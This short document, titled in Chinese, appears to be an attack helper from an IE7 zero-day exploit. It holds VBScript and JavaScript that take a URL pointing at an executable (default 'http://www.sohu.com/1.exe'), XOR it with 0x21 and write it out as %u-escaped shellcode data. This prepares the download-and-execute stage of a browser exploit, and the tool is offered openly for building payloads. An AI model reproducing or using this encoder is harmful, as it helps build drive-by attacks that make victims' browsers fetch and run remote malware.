ie7 0day当中的shellcode的escape+xor21加密

1. <SCRIPT LANGUAGE="VBSCRIPT">  
2. Function Encode(s,n)  
3. Dim b  
4. b=UCase(s)  
5. For i=1 To Len(b)  
6. Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))  
7. Next  
8. End Function  
9. </script>  
10. <script language="javascript">  
11. myrand=window.prompt("url:","http://www.sohu.com/1.exe");  
12. strVariable = (Encode(myrand,0x21)).toUpperCase( )  
13. function gen(url)  
14. {  
15. var i=0,l=0,k=0,curl="";  
16. l= url.length;  
17. for(;i<l;i++){  
18. k=url.charCodeAt(i);  
19. if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}  
20. if (l%2){curl+="00";}else{curl+="0000";}  
21. curl=curl.replace(/(..)(..)/g,"%u$2$1");  
22. return curl;  
23. }  
24. document.write(gen(strVariable));  
25. </script>